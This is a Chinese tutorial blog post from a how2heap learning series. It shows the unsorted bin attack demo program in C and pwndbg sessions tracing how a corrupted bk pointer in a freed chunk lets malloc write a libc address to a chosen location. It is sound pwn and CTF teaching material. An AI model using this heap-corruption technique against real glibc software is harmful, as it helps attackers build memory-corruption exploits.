从零开始学howtoheap:理解fastbins的unsorted bin攻击

how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的unsorted_bin攻击

​ unsorted bin攻击通常是为更进一步的攻击做准备的,我们知道unsorted bin是一个双向链表,在分配时会通过unlink操作将chunk从链表中移除,所以如果能够控制unsorted bin chunk的bk指针,就可以向任意位置写入一个指针。

unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
 

2.unsorted_bin_attack演示程序

#include 
#include 

int main(){

    fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
    fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(0x410);
    fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
    fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
    fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

    malloc(0x410);
    fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

3.调试 unsorted_bin_attack

3.1 获得可执行程序 

gcc -g unsorted_bin_attack.c -o unsorted_bin_attack

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gcc -g unsorted_bin_attack.c -o unsorted_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gdb ./unsorted_bin_attack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./unsorted_bin_attack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/unsorted_bin_attack 
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
[Inferior 1 (process 144) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第16行并走起

一开始先申请两个chunk,第二个是为了防止和top chunk合并。


Breakpoint 1, main () at unsorted_bin_attack.c:17
17          free(p);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x602430 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x602430 ◂— 0x0
 RDI  0x1
 RSI  0x602620 ◂— 0x0
 R8   0x2b
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RIP  0x400775 (main+207) ◂— mov    rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400775     mov    rax, qword ptr [rbp - 0x10]
   0x400779     mov    rdi, rax
   0x40077c     call   free@plt <0x400540>
 
   0x400781     mov    rax, qword ptr [rbp - 0x10]
   0x400785     add    rax, 8
   0x400789     mov    rax, qword ptr [rax]
   0x40078c     mov    rdx, rax
   0x40078f     mov    rax, qword ptr [rip + 0x2008ca] <0x601060>
   0x400796     mov    esi, 0x400a80
   0x40079b     mov    rdi, rax
   0x40079e     mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c
   12     unsigned long *p=malloc(0x410);
   13     fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
   14     fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
   15     malloc(500);
   16 
 ► 17     free(p);
   18     fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);
   19 
   20     p[1]=(unsigned long)(&stack_var-2);
   21     fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
   22     fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffe598 ◂— 0x0
02:0010│      0x7fffffffe5a0 —▸ 0x602010 ◂— 0x0
03:0018│      0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│      0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400775 main+207
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:16
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Used                None              None
0x602420            0x0                 0x200                Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000421
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x602420 
0x602420:       0x0000000000000000      0x0000000000000201
0x602430:       0x0000000000000000      0x0000000000000000
0x602440:       0x0000000000000000      0x0000000000000000
0x602450:       0x0000000000000000      0x0000000000000000
0x602460:       0x0000000000000000      0x0000000000000000
pwndbg> 

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Used                None              None
0x602420            0x0                 0x200                Used                None              None

pwndbg> x/10gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000421
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x602420 
0x602420:       0x0000000000000000      0x0000000000000201
0x602430:       0x0000000000000000      0x0000000000000000
0x602440:       0x0000000000000000      0x0000000000000000
0x602450:       0x0000000000000000      0x0000000000000000
0x602460:       0x0000000000000000      0x0000000000000000
pwndbg> 
 

3.3.2 ​设置断点第19行并走起

​ 当free之后,这个chunk的fd、bk都指向了unsorted bin的位置,因为unsorted bin是双向链表。

从零开始学howtoheap:理解fastbins的unsorted bin攻击_第1张图片

pwndbg> b 19
Breakpoint 2 at 0x4007a8: file unsorted_bin_attack.c, line 19.
pwndbg> c
Continuing.
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78

Breakpoint 2, main () at unsorted_bin_attack.c:20
20          p[1]=(unsigned long)(&stack_var-2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x74
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbf00 ◂— 0xbbe49188e693bde5
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x74
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RIP  0x4007a8 (main+258) ◂— mov    rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4007a8     mov    rax, qword ptr [rbp - 0x10]
   0x4007ac     lea    rdx, [rax + 8]
   0x4007b0     lea    rax, [rbp - 0x18]
   0x4007b4     sub    rax, 0x10
   0x4007b8     mov    qword ptr [rdx], rax
   0x4007bb     mov    rax, qword ptr [rip + 0x20089e] <0x601060>
   0x4007c2     mov    rcx, rax
   0x4007c5     mov    edx, 0x51
   0x4007ca     mov    esi, 1
   0x4007cf     mov    edi, 0x400af0
   0x4007d4     call   fwrite@plt <0x400590>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c
   15     malloc(500);
   16 
   17     free(p);
   18     fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);
   19 
 ► 20     p[1]=(unsigned long)(&stack_var-2);
   21     fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
   22     fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
   23 
   24     malloc(0x410);
   25     fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffe598 ◂— 0x0
02:0010│      0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│      0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│      0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4007a8 main+258
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:19
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x602420            0x420               0x200                Used                None              None
pwndbg> 

 pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000

smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x602420            0x420               0x200                Used                None              None
pwndbg> 

3.3.3 ​设置断点第23行并走起

继续,通过p[1] = (unsigned long)(&stack_var - 2),把bk指针给改掉了。unsigned long是8字节大小的,所以减去2之后正好是在address 这个地方。

从零开始学howtoheap:理解fastbins的unsorted bin攻击_第2张图片

pwndbg> b 23
Breakpoint 3 at 0x400800: file unsorted_bin_attack.c, line 23.
pwndbg> c
Continuing.
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588


Breakpoint 3, main () at unsorted_bin_attack.c:24
24          malloc(0x410);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x6c
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbf00 ◂— 0x8ae6acbbe49188e6
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x6c
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RIP  0x400800 (main+346) ◂— mov    edi, 0x410
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400800     mov    edi, 0x410
   0x400805     call   malloc@plt <0x400580>
 
   0x40080a     mov    rax, qword ptr [rip + 0x20084f] <0x601060>
   0x400811     mov    rcx, rax
   0x400814     mov    edx, 0x56
   0x400819     mov    esi, 1
   0x40081e     mov    edi, 0x400bb0
   0x400823     call   fwrite@plt <0x400590>
 
   0x400828     mov    rax, qword ptr [rbp - 0x18]
   0x40082c     mov    rcx, rax
   0x40082f     mov    rax, qword ptr [rip + 0x20082a] <0x601060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c
   19 
   20     p[1]=(unsigned long)(&stack_var-2);
   21     fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
   22     fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
   23 
 ► 24     malloc(0x410);
   25     fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
   26     fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
   27 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffe598 ◂— 0x0
02:0010│      0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│      0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│      0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400800 main+346
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:23
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7fffffffe588
0x602420            0x420               0x200                Used                None              None
pwndbg> 

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0

smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7fffffffe588
0x602420            0x420               0x200                Used                None              None
pwndbg> 
 

​ 然后再去申请的时候需要把释放的那一块给拿出来,操作如下:

/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
3.3.4 ​设置断点第26行并走起

把unsorted bin的bk改为chunk的bk,然后将chunk的bk所指向的 fd改为unsorted bin的地址。

从零开始学howtoheap:理解fastbins的unsorted bin攻击_第3张图片

因为对于一个chunk来说,chunk头是占据0x10大小的(也就是图中 address),所以fd正好是我们想要改的那个地址。

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x7fffffffe588 —▸ 0x602010 ◂— 0x0

smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000421
0x602010:       0x00007ffff7dd1b78      0x00007fffffffe588
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
 

unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

你可能感兴趣的:(网络安全,安全,系统安全,安全架构)